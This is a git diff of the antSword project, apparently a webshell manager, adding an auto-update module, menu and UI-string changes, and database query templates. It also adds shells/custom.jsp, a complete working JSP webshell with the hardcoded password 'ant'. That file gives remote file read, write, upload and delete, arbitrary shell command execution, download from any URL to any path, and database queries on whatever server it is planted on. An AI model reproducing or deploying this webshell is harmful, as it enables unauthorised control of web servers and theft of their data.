diff --git a/CHANGELOG.md b/CHANGELOG.md index 87b14514..512d112f 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -4,7 +4,16 @@ ## 2016/03 -### /23 +### /26 + 1. 文件管理双击:size < 100kb ? 编辑 : 下载 + 2. 调整 Custom 方式数据库部分代码 // 2-4:感谢[@Medicean](https://github.com/Medicean) + 3. 添加 Shells 目录, 用于存放 shell 样本代码 + 4. 添加 `custom.jsp` 服务端样本代码 + +### /24 + 1. 文件管理双击文件进行编辑 //size < 100kb + +### /23 (v1.1.0) 1. 优化数据处理截断算法 ### /22 @@ -34,10 +43,8 @@ # 待做事项 * 数据高级搜索功能 * 数据库配置编辑功能 - * 数据发包代理功能 * 在线检测/下载/安装更新 * 虚拟终端复制粘贴tab补全 - * 文件管理双击文件进行编辑 //size < 1024kb * 插件模块 //实时编写插件执行、UI以及各种操作API设计 * 扩展模块 //用于扩展一些高级的功能,懒人必备 * 代码重构 diff --git a/app.js b/app.js index f858707e..56c497d7 100644 --- a/app.js +++ b/app.js @@ -5,10 +5,11 @@ const app = electron.app; const BrowserWindow = electron.BrowserWindow; // 导入模块 +const Cache = require('./modules/cache'); +const Update = require('./modules/update'); const Menubar = require('./modules/menubar'); const Request = require('./modules/request'); const Database = require('./modules/database'); -const Cache = require('./modules/cache'); // electron.crashReporter.start(); @@ -59,4 +60,7 @@ app // 初始化缓存模块 new Cache(electron); + // 监听更新请求 + new Update(electron); + }); \ No newline at end of file diff --git a/modules/menubar.js b/modules/menubar.js index f9fb7844..d1e53f1a 100644 --- a/modules/menubar.js +++ b/modules/menubar.js @@ -4,6 +4,11 @@ 'use strict'; +// 读取package.json信息 +const info = JSON.parse( + require('fs').readFileSync(require('path').join(__dirname, '../package.json')) +); + class Menubar { constructor(electron, app, mainWindow) { @@ -14,6 +19,7 @@ class Menubar { Menu.setApplicationMenu(Menu.buildFromTemplate([])); // 监听重载菜单事件 ipcMain.on('menubar', this.reload.bind(this)); + ipcMain.on('quit', app.quit.bind(app)); this.electron = electron; this.app = app; @@ -95,8 +101,11 @@ class Menubar { click: event.sender.send.bind(event.sender, 'menubar', 'tabbar-close') } ] - }, { - // 调试 + } + ]; + // 调试菜单 + if (info['debug']) { + template.push({ label: LANG['debug']['title'], submenu: [ { @@ -109,51 +118,49 @@ class Menubar { click: this.mainWindow.webContents.toggleDevTools.bind(this.mainWindow.webContents) } ] - } - ]; - // OSX主菜单 - // if (process.platform === 'darwin') { - template.unshift({ - label: LANG['main']['title'], - submenu: [ - { - label: LANG['main']['about'], - accelerator: 'Shift+CmdOrCtrl+I', - click: event.sender.send.bind(event.sender, 'menubar', 'settings-about') - }, { - label: LANG['main']['language'], - accelerator: 'Shift+CmdOrCtrl+L', - click: event.sender.send.bind(event.sender, 'menubar', 'settings-language') - }, { - label: LANG['main']['aproxy'], - accelerator: 'Shift+CmdOrCtrl+A', - click: event.sender.send.bind(event.sender, 'menubar', 'settings-aproxy') - }, { - label: LANG['main']['update'], - accelerator: 'Shift+CmdOrCtrl+U', - click: event.sender.send.bind(event.sender, 'menubar', 'settings-update') - }, { - type: 'separator' - }, { - label: LANG['main']['settings'], - accelerator: 'Shift+CmdOrCtrl+S', - click: event.sender.send.bind(event.sender, 'menubar', 'settings') - }, { - type: 'separator' - }, { - label: LANG['main']['plugin'], - accelerator: 'Shift+CmdOrCtrl+P', - click: event.sender.send.bind(event.sender, 'menubar', 'plugin') - }, { - type: 'separator' - }, { - label: LANG['main']['quit'], - accelerator: 'Command+Q', - click: this.app.quit.bind(this.app) - }, - ] }); - // }; + }; + // 主菜单 + template.unshift({ + label: LANG['main']['title'], + submenu: [ + { + label: LANG['main']['about'], + accelerator: 'Shift+CmdOrCtrl+I', + click: event.sender.send.bind(event.sender, 'menubar', 'settings-about') + }, { + label: LANG['main']['language'], + accelerator: 'Shift+CmdOrCtrl+L', + click: event.sender.send.bind(event.sender, 'menubar', 'settings-language') + }, { + label: LANG['main']['aproxy'], + accelerator: 'Shift+CmdOrCtrl+A', + click: event.sender.send.bind(event.sender, 'menubar', 'settings-aproxy') + }, { + label: LANG['main']['update'], + accelerator: 'Shift+CmdOrCtrl+U', + click: event.sender.send.bind(event.sender, 'menubar', 'settings-update') + }, { + type: 'separator' + }, { + label: LANG['main']['settings'], + accelerator: 'Shift+CmdOrCtrl+S', + click: event.sender.send.bind(event.sender, 'menubar', 'settings') + }, { + type: 'separator' + }, { + label: LANG['main']['plugin'], + accelerator: 'Shift+CmdOrCtrl+P', + click: event.sender.send.bind(event.sender, 'menubar', 'plugin') + }, { + type: 'separator' + }, { + label: LANG['main']['quit'], + accelerator: 'Command+Q', + click: this.app.quit.bind(this.app) + }, + ] + }); // 更新菜单栏 this.Menu.setApplicationMenu(this.Menu.buildFromTemplate(template)); } diff --git a/modules/update.js b/modules/update.js new file mode 100644 index 00000000..b9691b64 --- /dev/null +++ b/modules/update.js @@ -0,0 +1,118 @@ +// +// 程序更新模块 +// +/* 更新流程: + ------- + 1. 获取远程github上的package.json信息 + 2. 和本地版本进行判断,不一致则提示更新 + 3. 下载用户选择的更新源文件到临时目录`.antSword-{now}` + 4. 替换程序中的`resources/app.asar`文件 + 5. 提示用户手动重启,关闭应用 +*/ + +'use strict'; + +const os = require('os'), + fs = require('fs'), + path = require('path'), + unzip = require('extract-zip'), + crypto = require('crypto'), + nugget = require('nugget'), + logger = require('log4js').getLogger('Update'), + superagent = require('superagent'); + +class Update { + + constructor(electron) { + const ipcMain = electron.ipcMain; + this.info = {}; + ipcMain + .on('update-check', (event, arg) => { + this.check(arg['local_ver'], (hasUpdate, retVal) => { + logger.debug('check-result', hasUpdate, retVal); + event.sender.send('update-check', { + hasUpdate: hasUpdate, + retVal: retVal + }); + }); + }) + .on('update-download', (event, source) => { + logger.debug('update-download', source); + const info = this.info['update']; + const downloadUrl = info['sources'][source]; + this.download(downloadUrl, info['md5'], (done, retVal) => { + event.sender.send('update-download', { + done: done, + retVal: retVal + }); + }); + }); + } + + // 检查是否有更新 + // 参数{localVer: 本地版本号, callback: 回调函数(是否有更新, 是?更新信息:错误信息)} + check(localVer, callback) { + logger.debug('check', localVer); + superagent + .get('https://raw.githubusercontent.com/antoor/antSword/master/package.json') + .timeout(9527) + .end((err, res) => { + if (err) { return callback(false, err.toString()) }; + try { + const info = JSON.parse(res.text); + this.info = info; + callback(info['version'] !== localVer, info); + } catch (e) { + return callback(false, e.toString()); + } + }); + } + + // 下载更新 + // 参数{downloadUrl: 下载地址, md5: 校验MD5, callback: 回调(成功?(true, null):(false, err))} + download(downloadUrl, md5, callback) { + // 创建临时文件 + const tmpDir = os.tmpDir(); + const fileName = '.antSword-' + (+new Date); + const tmpFileName = path.join(tmpDir, fileName); + // 当前目录环境 + const curDir = path.join(__dirname, '../../'); + // 开始下载文件 + nugget( + downloadUrl, + { + target: fileName, + dir: tmpDir, + resume: true, + verbose: true, + strictSSL: downloadUrl.startsWith('https') + }, + (err) => { + if (err) { return callback(false, err.toString()) }; + // 校验MD5 + const _md5 = crypto.createHash('md5').update(fs.readFileSync(tmpFileName)).digest('hex'); + if (_md5 !== md5) { return callback(false, { type: 'md5', err: _md5 }) }; + // ZIP解压 + unzip(tmpFileName, { + dir: tmpDir + }, (e) => { + if (e) { return (callback(false, { type: 'unzip', err: e })) }; + // 删除旧asar + // fs.unlinkSync(path.join(curDir, 'app.asar')); + // 移动新asar + fs.rename( + path.join(tmpDir, 'antSword.update'), + path.join(curDir, 'app.asar'), + (_e) => { + _e ? callback(false, _e.toString()) : callback(true); + } + ); + }); + } + ); + } + + +} + +module.exports = Update; \ No newline at end of file diff --git a/package.json b/package.json index a2a4c1a0..2bbb32e3 100644 --- a/package.json +++ b/package.json @@ -1,6 +1,6 @@ { "name": "antsword", - "version": "1.1.0", + "version": "1.1.1", "description": "中国蚁剑是一款跨平台的开源网站管理工具", "main": "app.js", "dependencies": { @@ -8,11 +8,13 @@ "babel-loader": "^6.2.4", "babel-preset-es2015": "^6.6.0", "babel-preset-stage-0": "^6.5.0", - "electron-prebuilt": "^0.36.10", + "electron-prebuilt": "^0.37.2", + "extract-zip": "^1.5.0", "iconv-lite": "^0.4.13", "lib-qqwry": "^0.0.5", "log4js": "^0.6.29", "nedb": "^1.5.1", + "nugget": "^2.0.0", "superagent": "^1.6.1", "superagent-proxy": "^1.0.0", "webpack": "^1.12.14" @@ -27,6 +29,12 @@ "type": "git", "url": "https://github.com/antoor/antSword" }, + "debug": true, + "update": { + "md5": "", + "logs": "", + "sources": {} + }, "bugs": { "url": "https://github.com/antoor/antSword/issues" }, diff --git a/shells/README.md b/shells/README.md new file mode 100644 index 00000000..f31e8c67 --- /dev/null +++ b/shells/README.md @@ -0,0 +1,2 @@ +## Shell-Scripts +> 此目录用于存放一些示例的服务端脚本文件,仅供参考。 \ No newline at end of file diff --git a/shells/custom.jsp b/shells/custom.jsp new file mode 100644 index 00000000..53e0a3ad --- /dev/null +++ b/shells/custom.jsp @@ -0,0 +1,357 @@ +<%@page import="java.io.*,java.util.*,java.net.*,java.sql.*,java.text.*"%> +<%! + /** + * AntSword JSP Spy + * + * AntSword 最低版本:v1.1-dev,使用方式 custom 模式连接 + * Date: 2016/03/26 v1 + * 1. 文件系统 和 terminal 管理 + * 2. mysql 数据库支持 + * 3. 支持 base64 和 hex 编码 + **/ + String Pwd = "ant"; //连接密码 + String encoder = "base64"; // 数据编码 + //String encoder = "hex"; + String cs = "UTF-8"; + String EC(String s) throws Exception { + if(encoder.equals("hex") || encoder == "hex") return s; + return new String(s.getBytes("ISO-8859-1"), cs); + } + + String showDatabases(String encode, String conn) throws Exception { + String sql = "show databases"; // mysql + String columnsep = "\t"; + String rowsep = ""; + return executeSQL(encode, conn, sql, columnsep, rowsep, false); + } + + String showTables(String encode, String conn, String dbname) throws Exception { + String sql = "show tables from " + dbname; // mysql + String columnsep = "\t"; + String rowsep = ""; + return executeSQL(encode, conn, sql, columnsep, rowsep, false); + } + + String showColumns(String encode, String conn, String dbname, String table) throws Exception { + String columnsep = "\t"; + String rowsep = ""; + String sql = "select * from " + dbname + "." + table + " limit 0,0"; // mysql + return executeSQL(encode, conn, sql, columnsep, rowsep, true); + } + + String query(String encode, String conn, String sql) throws Exception { + String columnsep = "\t|\t"; // general + String rowsep = "\r\n"; + return executeSQL(encode, conn, sql, columnsep, rowsep, true); + } + + String executeSQL(String encode, String conn, String sql, String columnsep, String rowsep, boolean needcoluname) + throws Exception { + String ret = ""; + conn = (EC(conn)); + String[] x = conn.trim().replace("\r\n", "\n").split("\n"); + Class.forName(x[0].trim()); + String url = x[1] + "&characterEncoding=" + decode(EC(encode),encoder); + Connection c = DriverManager.getConnection(url); + Statement stmt = c.createStatement(); + ResultSet rs = stmt.executeQuery(sql); + ResultSetMetaData rsmd = rs.getMetaData(); + + if (needcoluname) { + for (int i = 1; i <= rsmd.getColumnCount(); i++) { + String columnName = rsmd.getColumnName(i); + ret += columnName + columnsep; + } + ret += rowsep; + } + + while (rs.next()) { + for (int i = 1; i <= rsmd.getColumnCount(); i++) { + String columnValue = rs.getString(i); + ret += columnValue + columnsep; + } + ret += rowsep; + } + return ret; + } + + String WwwRootPathCode(HttpServletRequest r) throws Exception { + String d = r.getSession().getServletContext().getRealPath("/"); + String s = ""; + if (!d.substring(0, 1).equals("/")) { + File[] roots = File.listRoots(); + for (int i = 0; i < roots.length; i++) { + s += roots[i].toString().substring(0, 2) + ""; + } + } else { + s += "/"; + } + return s; + } + + String FileTreeCode(String dirPath) throws Exception { + File oF = new File(dirPath), l[] = oF.listFiles(); + String s = "", sT, sQ, sF = ""; + java.util.Date dt; + SimpleDateFormat fm = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss"); + for (int i = 0; i < l.length; i++) { + dt = new java.util.Date(l[i].lastModified()); + sT = fm.format(dt); + sQ = l[i].canRead() ? "R" : ""; + sQ += l[i].canWrite() ? " W" : ""; + if (l[i].isDirectory()) { + s += l[i].getName() + "/\t" + sT + "\t" + l[i].length() + "\t" + sQ + "\n"; + } else { + sF += l[i].getName() + "\t" + sT + "\t" + l[i].length() + "\t" + sQ + "\n"; + } + } + return s += sF; + } + + String ReadFileCode(String filePath) throws Exception { + String l = "", s = ""; + BufferedReader br = new BufferedReader(new InputStreamReader(new FileInputStream(new File(filePath)))); + while ((l = br.readLine()) != null) { + s += l + "\r\n"; + } + br.close(); + return s; + } + + String WriteFileCode(String filePath, String fileContext) throws Exception { + BufferedWriter bw = new BufferedWriter(new OutputStreamWriter(new FileOutputStream(new File(filePath)))); + bw.write(fileContext); + bw.close(); + return "1"; + } + + String DeleteFileOrDirCode(String fileOrDirPath) throws Exception { + File f = new File(fileOrDirPath); + if (f.isDirectory()) { + File x[] = f.listFiles(); + for (int k = 0; k < x.length; k++) { + if (!x[k].delete()) { + DeleteFileOrDirCode(x[k].getPath()); + } + } + } + f.delete(); + return "1"; + } + + void DownloadFileCode(String filePath, HttpServletResponse r) throws Exception { + int n; + byte[] b = new byte[512]; + r.reset(); + ServletOutputStream os = r.getOutputStream(); + BufferedInputStream is = new BufferedInputStream(new FileInputStream(filePath)); + os.write(("->|").getBytes(), 0, 3); + while ((n = is.read(b, 0, 512)) != -1) { + os.write(b, 0, n); + } + os.write(("|<-").getBytes(), 0, 3); + os.close(); + is.close(); + } + + String UploadFileCode(String savefilePath, String fileHexContext) throws Exception { + String h = "0123456789ABCDEF"; + File f = new File(savefilePath); + f.createNewFile(); + FileOutputStream os = new FileOutputStream(f); + for (int i = 0; i < fileHexContext.length(); i += 2) { + os.write((h.indexOf(fileHexContext.charAt(i)) << 4 | h.indexOf(fileHexContext.charAt(i + 1)))); + } + os.close(); + return "1"; + } + + String CopyFileOrDirCode(String sourceFilePath, String targetFilePath) throws Exception { + File sf = new File(sourceFilePath), df = new File(targetFilePath); + if (sf.isDirectory()) { + if (!df.exists()) { + df.mkdir(); + } + File z[] = sf.listFiles(); + for (int j = 0; j < z.length; j++) { + CopyFileOrDirCode(sourceFilePath + "/" + z[j].getName(), targetFilePath + "/" + z[j].getName()); + } + } else { + FileInputStream is = new FileInputStream(sf); + FileOutputStream os = new FileOutputStream(df); + int n; + byte[] b = new byte[1024]; + while ((n = is.read(b, 0, 1024)) != -1) { + os.write(b, 0, n); + } + is.close(); + os.close(); + } + return "1"; + } + + String RenameFileOrDirCode(String oldName, String newName) throws Exception { + File sf = new File(oldName), df = new File(newName); + sf.renameTo(df); + return "1"; + } + + String CreateDirCode(String dirPath) throws Exception { + File f = new File(dirPath); + f.mkdir(); + return "1"; + } + + String ModifyFileOrDirTimeCode(String fileOrDirPath, String aTime) throws Exception { + File f = new File(fileOrDirPath); + SimpleDateFormat fm = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss"); + java.util.Date dt = fm.parse(aTime); + f.setLastModified(dt.getTime()); + return "1"; + } + + String WgetCode(String urlPath, String saveFilePath) throws Exception { + URL u = new URL(urlPath); + int n = 0; + FileOutputStream os = new FileOutputStream(saveFilePath); + HttpURLConnection h = (HttpURLConnection) u.openConnection(); + InputStream is = h.getInputStream(); + byte[] b = new byte[512]; + while ((n = is.read(b)) != -1) { + os.write(b, 0, n); + } + os.close(); + is.close(); + h.disconnect(); + return "1"; + } + + String SysInfoCode(HttpServletRequest r) throws Exception { + String d = r.getSession().getServletContext().getRealPath("/"); + String serverInfo = System.getProperty("os.name"); + String separator = File.separator; + String user = System.getProperty("user.name"); + String driverlist = WwwRootPathCode(r); + return d + "\t" + driverlist + "\t" + serverInfo + "\t" + user; + } + + boolean isWin() { + String osname = System.getProperty("os.name"); + osname = osname.toLowerCase(); + if (osname.startsWith("win")) + return true; + return false; + } + + String ExecuteCommandCode(String cmdPath, String command) throws Exception { + StringBuffer sb = new StringBuffer(""); + String[] c = { cmdPath, !isWin() ? "-c" : "/c", command }; + Process p = Runtime.getRuntime().exec(c); + CopyInputStream(p.getInputStream(), sb); + CopyInputStream(p.getErrorStream(), sb); + return sb.toString(); + } + + String decode(String str) { + byte[] bt = null; + try { + sun.misc.BASE64Decoder decoder = new sun.misc.BASE64Decoder(); + bt = decoder.decodeBuffer(str); + } catch (IOException e) { + e.printStackTrace(); + } + return new String(bt); + } + String decode(String str, String encode){ + if(encode.equals("hex") || encode=="hex"){ + if(str=="null"||str.equals("null")){ + return ""; + } + StringBuilder sb = new StringBuilder(); + StringBuilder temp = new StringBuilder(); + try{ + for(int i=0; i +<% + response.setContentType("text/html"); + response.setCharacterEncoding(cs); + StringBuffer sb = new StringBuffer(""); + try { + String funccode = EC(request.getParameter(Pwd) + ""); + String z0 = decode(EC(request.getParameter("z0")+""), encoder); + String z1 = decode(EC(request.getParameter("z1") + ""), encoder); + String z2 = decode(EC(request.getParameter("z2") + ""), encoder); + String z3 = decode(EC(request.getParameter("z3") + ""), encoder); + String[] pars = { z0, z1, z2, z3}; + sb.append("->|"); + + if (funccode.equals("B")) { + sb.append(FileTreeCode(pars[1])); + } else if (funccode.equals("C")) { + sb.append(ReadFileCode(pars[1])); + } else if (funccode.equals("D")) { + sb.append(WriteFileCode(pars[1], pars[2])); + } else if (funccode.equals("E")) { + sb.append(DeleteFileOrDirCode(pars[1])); + } else if (funccode.equals("F")) { + DownloadFileCode(pars[0], response); + } else if (funccode.equals("U")) { + sb.append(UploadFileCode(pars[1], pars[2])); + } else if (funccode.equals("H")) { + sb.append(CopyFileOrDirCode(pars[1], pars[2])); + } else if (funccode.equals("I")) { + sb.append(RenameFileOrDirCode(pars[1], pars[2])); + } else if (funccode.equals("J")) { + sb.append(CreateDirCode(pars[1])); + } else if (funccode.equals("K")) { + sb.append(ModifyFileOrDirTimeCode(pars[1], pars[2])); + } else if (funccode.equals("L")) { + sb.append(WgetCode(pars[1], pars[2])); + } else if (funccode.equals("M")) { + sb.append(ExecuteCommandCode(pars[1], pars[2])); + } else if (funccode.equals("N")) { + sb.append(showDatabases(pars[0], pars[1])); + } else if (funccode.equals("O")) { + sb.append(showTables(pars[0], pars[1], pars[2])); + } else if (funccode.equals("P")) { + sb.append(showColumns(pars[0], pars[1], pars[2], pars[3])); + } else if (funccode.equals("Q")) { + sb.append(query(pars[0], pars[1], pars[2])); + } else if (funccode.equals("A")) { + sb.append(SysInfoCode(request)); + } + } catch (Exception e) { + sb.append("ERROR" + "://" + e.toString()); + } + sb.append("|<-"); + out.print(sb.toString()); +%> diff --git a/source/app.entry.jsx b/source/app.entry.jsx index dffdd4dd..4754caab 100644 --- a/source/app.entry.jsx +++ b/source/app.entry.jsx @@ -7,6 +7,8 @@ 'use strict'; +const fs = global.require('fs'); +const path = global.require('path'); const electron = global.require('electron'); const remote = electron.remote; const ipcRenderer = electron.ipcRenderer; @@ -57,6 +59,7 @@ ipcRenderer.send('aproxy', { antSword['ipcRenderer'] = ipcRenderer; antSword['CacheManager'] = CacheManager; antSword['menubar'] = new Menubar(); +antSword['package'] = JSON.parse(fs.readFileSync(path.join(global.__dirname, '../package.json'))); // 加载模块列表 // antSword['tabbar'] = new dhtmlXTabBar(document.getElementById('container')); diff --git a/source/core/custom/template/database/default.jsx b/source/core/custom/template/database/default.jsx index 90f58f95..a55025a7 100644 --- a/source/core/custom/template/database/default.jsx +++ b/source/core/custom/template/database/default.jsx @@ -1,11 +1,12 @@ -// +// // 默认代码模板 -// +// // @params // :encode SHELL编码 // :conn 数据库连接字符串 // :sql 执行SQL语句 -// +// :db 数据库名 +// :table 表名 module.exports = { show_databases: { @@ -16,12 +17,15 @@ module.exports = { show_tables: { _: 'O', 'z0': '#{encode}', - 'z1': '#{conn}' + 'z1': '#{conn}', + 'z2': '#{db}' }, show_columns: { _: 'P', 'z0': '#{encode}', - 'z1': '#{conn}' + 'z1': '#{conn}', + 'z2': '#{db}', + 'z3': '#{table}' }, query: { _: 'Q', @@ -29,4 +33,4 @@ module.exports = { 'z1': '#{conn}', 'z2': '#{sql}' } -} \ No newline at end of file +} diff --git a/source/language/en.jsx b/source/language/en.jsx index 9593ad6b..cf6fead7 100644 --- a/source/language/en.jsx +++ b/source/language/en.jsx @@ -403,8 +403,33 @@ module.exports = { }, update: { title: 'Check update', + current: 'Current version', toolbar: { check: 'Check' + }, + check: { + ing: 'Check for updates..', + fail: (err) => `Check for update failed!
${err}`, + none: (ver) => `After examination, no update![v${ver}]`, + found: (ver) => `Found a new version [v${ver}]` + }, + prompt: { + btns: { + ok: 'Update', + no: 'Cancel' + }, + title: 'Update to version', + changelog: 'Change Logs: ', + sources: 'Download source: ', + fail: { + md5: 'File MD5 value check failed!', + unzip: (err) => `Unzip the file failed! [${err}]` + } + }, + message: { + ing: 'Downloading..', + fail: (err) => `Update failed! [${err}]`, + success: 'Update success! Please manually restart the application later!' } }, aproxy: { diff --git a/source/language/zh.jsx b/source/language/zh.jsx index f54a1082..f1a1de69 100644 --- a/source/language/zh.jsx +++ b/source/language/zh.jsx @@ -404,8 +404,33 @@ module.exports = { }, update: { title: '检查更新', + current: '当前版本', toolbar: { check: '检查' + }, + check: { + ing: '检查更新中。。', + fail: (err) => `检查更新失败!
${err}`, + none: (ver) => `检查完毕,暂无更新!【v${ver}】`, + found: (ver) => `发现新版本【v${ver}】` + }, + prompt: { + btns: { + ok: '更新', + no: '取消' + }, + title: '版本更新', + changelog: '更新日志:', + sources: '更新来源:', + fail: { + md5: '文件MD5值校验失败!', + unzip: (err) => `解压文件失败!【${err}】` + } + }, + message: { + ing: '努力更新中。。', + fail: (err) => `更新失败!【${err}】`, + success: '更新成功!请稍后手动重启应用!' } }, aproxy: { diff --git a/source/modules/database/custom/index.jsx b/source/modules/database/custom/index.jsx index 0b736d39..10a13675 100644 --- a/source/modules/database/custom/index.jsx +++ b/source/modules/database/custom/index.jsx @@ -1,7 +1,7 @@ -// +// // 数据库驱动::ASP // 支持数据库:access,sqlserver,mysql -// +// class ASP { @@ -9,9 +9,9 @@ class ASP { this.opt = opt; this.core = this.opt.core; this.manager = this.opt.super; - // + // // * 数据库驱动列表 - // + // this.conns = { 'mysql': 'com.mysql.jdbc.Driver\r\njdbc:mysql://localhost/test?user=root&password=123456', 'sqlserver': 'com.microsoft.sqlserver.jdbc.SQLServerDriver\r\njdbc:sqlserver://127.0.0.1:1433;databaseName=test;user=sa;password=123456', @@ -71,10 +71,11 @@ class ASP { // 生成查询SQL语句 case 'column': let _co = arr[1].split(':'); + const db = new Buffer(_co[1], 'base64').toString(); const table = new Buffer(_co[2], 'base64').toString(); const column = new Buffer(_co[3], 'base64').toString(); - const sql = `SELECT TOP 20 [${column}] FROM [${table}] ORDER BY 1 DESC;`; + const sql = `SELECT ${column} FROM ${db}.${table} ORDER BY 1 DESC;`; this.manager.query.editor.session.setValue(sql); break; } @@ -253,7 +254,7 @@ class ASP { { conn: conf['conn'], encode: this.manager.opt.encode, - dbname: ['access', 'microsoft_jet_oledb_4_0'].indexOf(conf['type']) > -1 ? conf['conn'].match(/[\w]+.mdb$/) : 'database' + db: ['access', 'microsoft_jet_oledb_4_0'].indexOf(conf['type']) > -1 ? conf['conn'].match(/[\w]+.mdb$/) : 'database' }, (ret) => { const arr = ret.split('\t'); if (arr.length === 1 && ret === '') { @@ -293,7 +294,7 @@ class ASP { { conn: conf['conn'], encode: this.manager.opt.encode, - dbname: db + db: db }, (ret) => { const arr = ret.split('\t'); const _db = new Buffer(db).toString('base64'); @@ -329,7 +330,8 @@ class ASP { { conn: conf['conn'], encode: this.manager.opt.encode, - table: conf['type'] === 'oracle' ? `SELECT * FROM (SELECT A.*,ROWNUM N FROM ${table} A) WHERE N=1` : `SELECT TOP 1 * FROM ${table}` + db: db, + table: table }, (ret) => { const arr = ret.split('\t'); const _db = new Buffer(db).toString('base64'); @@ -352,8 +354,8 @@ class ASP { // 更新编辑器SQL语句 this.manager.query.editor.session.setValue( conf['type'] === 'oracle' - ? `SELECT * FROM (SELECT A.*,ROWNUM N FROM ${table} A ORDER BY 1 DESC) WHERE N>0 AND N<=20` - : `SELECT TOP 20 * FROM ${table} ORDER BY 1 DESC;`); + ? `SELECT * FROM (SELECT A.*,ROWNUM N FROM ${db}.${table} A ORDER BY 1 DESC) WHERE N>0 AND N<=20` + : `SELECT * FROM ${db}.${table} ORDER BY 1 DESC LIMIT 0,20;`); this.manager.list.layout.progressOff(); }); } @@ -454,4 +456,4 @@ class ASP { } -module.exports = ASP; \ No newline at end of file +module.exports = ASP; diff --git a/source/modules/filemanager/files.jsx b/source/modules/filemanager/files.jsx index 1d5aafed..11bbc978 100644 --- a/source/modules/filemanager/files.jsx +++ b/source/modules/filemanager/files.jsx @@ -346,12 +346,14 @@ class Files { bmenu.hide(); }); - // 双击::列出数据&&查看/编辑/下载文件(支持查看程序(png|jpg|gif..)则查看 - //支持编辑文件(php,js,txt..)则启动编辑器,如果是二进制或压缩等文件(exe,dll,zip,rar..)则下载) + // 双击文件 + // :如果size < 100kb,则进行编辑,否则进行下载 grid.attachEvent('onRowDblClicked', (id, lid, event) => { const fname = grid.getRowAttribute(id, 'fname'); + const fsize = grid.getRowAttribute(id, 'fsize'); if (!fname.endsWith('/')) { - // grid.callEvent('onRightClick', [id, lid, event]); + // 双击编辑size < 100kb 文件 + fsize <= 100 * 1024 ? manager.editFile(fname) : manager.downloadFile(fname, fsize); }else{ self.gotoPath(fname); } diff --git a/source/modules/settings/update.jsx b/source/modules/settings/update.jsx index 7d934e24..518829b5 100644 --- a/source/modules/settings/update.jsx +++ b/source/modules/settings/update.jsx @@ -3,6 +3,7 @@ // const LANG = antSword['language']['settings']['update']; +const LANG_T = antSword['language']['toastr']; class Update { constructor(sidebar) { @@ -15,19 +16,152 @@ class Update { // toolbar const toolbar = cell.attachToolbar(); toolbar.loadStruct([ - { id: 'check', type: 'button', text: LANG['toolbar']['check'], disabled: true, icon: 'check-square-o' }, - { type: 'separator' } + { + id: 'check', + type: 'button', + // 调试或者windows平台不支持更新 + disabled: antSword['package']['debug'] || process.platform === 'win', + text: LANG['toolbar']['check'], icon: 'check-square-o' + }, { type: 'separator' } ]); + // toolbar点击事件 + toolbar.attachEvent('onClick', (id) => { + switch(id) { + case 'check': + this.checkUpdate(); + break; + } + }); + // status cell.attachHTMLString(` + ${LANG['current']}: ${antSword['package']['version']} + `); + + + this.cell = cell; + } + + // 检查更新 + checkUpdate() { + this.cell.progressOn(); + toastr.info(LANG['check']['ing'], LANG_T['info']); + // 后台检查更新 + antSword['ipcRenderer'] + .on('update-check', (event, ret) => { + this.cell.progressOff(); + const info = ret['retVal']; + // 木有更新 + if (!ret['hasUpdate']) { + return typeof info === 'string' + ? toastr.error(LANG['check']['fail'](info), LANG_T['error']) + : toastr.info(LANG['check']['none'](info['version']), LANG_T['info']); + } + // 发现更新 + toastr.success(LANG['check']['found'](info['version']), LANG_T['success']); + // 更新来源html + let sources_html = ``; + // 提示更新 + layer.open({ + type: 1, + shift: 2, + skin: 'ant-update', + btn: [LANG['prompt']['btns']['ok'], LANG['prompt']['btns']['no']], + closeBtn: 0, + title: ` ${LANG['prompt']['title']}[v${info['version']}]`, + content: ` + ${LANG['prompt']['changelog']} +
    +
  1. ${info['update']['logs'].split('\n').join('
  2. ')} +
+ ${LANG['prompt']['sources']}${sources_html} + `, + yes: () => { + // 获取更新选择地址 + const download_source = $('#ant-update-source').val(); + // 开始更新 + // 更新动画 + this.updateLoading(); + // 通知后台 + antSword['ipcRenderer'] + .on('update-download', (event, ret) => { + // 下载失败 + console.log(ret); + if (!ret['done']) { + if (typeof ret['retVal'] === 'object') { + switch(ret['retVal']['type']) { + case 'md5': + this.updateFail(LANG['prompt']['fail']['md5']); + break; + case 'unzip': + this.updateFail(LANG['prompt']['fail']['unzip'](ret['retVal']['err'])); + break; + default: + this.updateFail(ret['retVal']); + } + } else { + this.updateFail(ret['retVal']); + } + return; + } + this.updateSuccess(); + }) + .send('update-download', download_source); + } + }); + + }) + .send('update-check', { + local_ver: antSword['package']['version'] + }); + } + + // 更新动画 + updateLoading() { + // 删除按钮 + $('.layui-layer-btn').remove(); + // 加载动画 + $('.layui-layer-content').html(` +
+
+
+
+
+
+
+

${LANG['message']['ing']}

+ `); + } + + // 更新失败提示界面 + updateFail(tip) { + $('.layui-layer-content').html(` +
+ +

${LANG['message']['fail'](tip)}

+
+ `); + toastr.error(LANG['message']['fail'](tip), LANG_T['error']); + setTimeout(layer.closeAll, 1024 * 5); + } - 当前版本:1.0.0 -
- 暂不支持在线更新! -
- 请访问https://github.com/antoor/antSword获取最新版本! + // 更新成功提示界面 + updateSuccess() { + $('.layui-layer-content').html(` +
+ +

${LANG['message']['success']}

+
`); + toastr.success(LANG['message']['success'], LANG_T['success']); + setTimeout(() => { + antSword['ipcRenderer'].send('quit'); + }, 1024 * 3); } } diff --git a/static/css/index.css b/static/css/index.css index e2681a18..f0bc45a7 100644 --- a/static/css/index.css +++ b/static/css/index.css @@ -21,4 +21,146 @@ html, body, #container, #loading { width: auto !important; padding: 0 5px; background-color: #666 !important; -} \ No newline at end of file +} + +/*update*/ +.ant-update { + font-family: sans-serif; + font-size: 14px; +} +.ant-update > .layui-layer-content { + padding: 10px 10px; + min-width: 300px; +} +.ant-update > .layui-layer-content > h3 { + margin: 0; +} +.ant-update > .layui-layer-content > ol { + color: #666; +} +.update-icon { + font-size: 100px; + text-align: center; +} + +/*update-loading*/ + +@-webkit-keyframes rotate_pacman_half_up { + 0% { + -webkit-transform: rotate(270deg); + transform: rotate(270deg); } + + 50% { + -webkit-transform: rotate(360deg); + transform: rotate(360deg); } + + 100% { + -webkit-transform: rotate(270deg); + transform: rotate(270deg); } } + +@keyframes rotate_pacman_half_up { + 0% { + -webkit-transform: rotate(270deg); + transform: rotate(270deg); } + + 50% { + -webkit-transform: rotate(360deg); + transform: rotate(360deg); } + + 100% { + 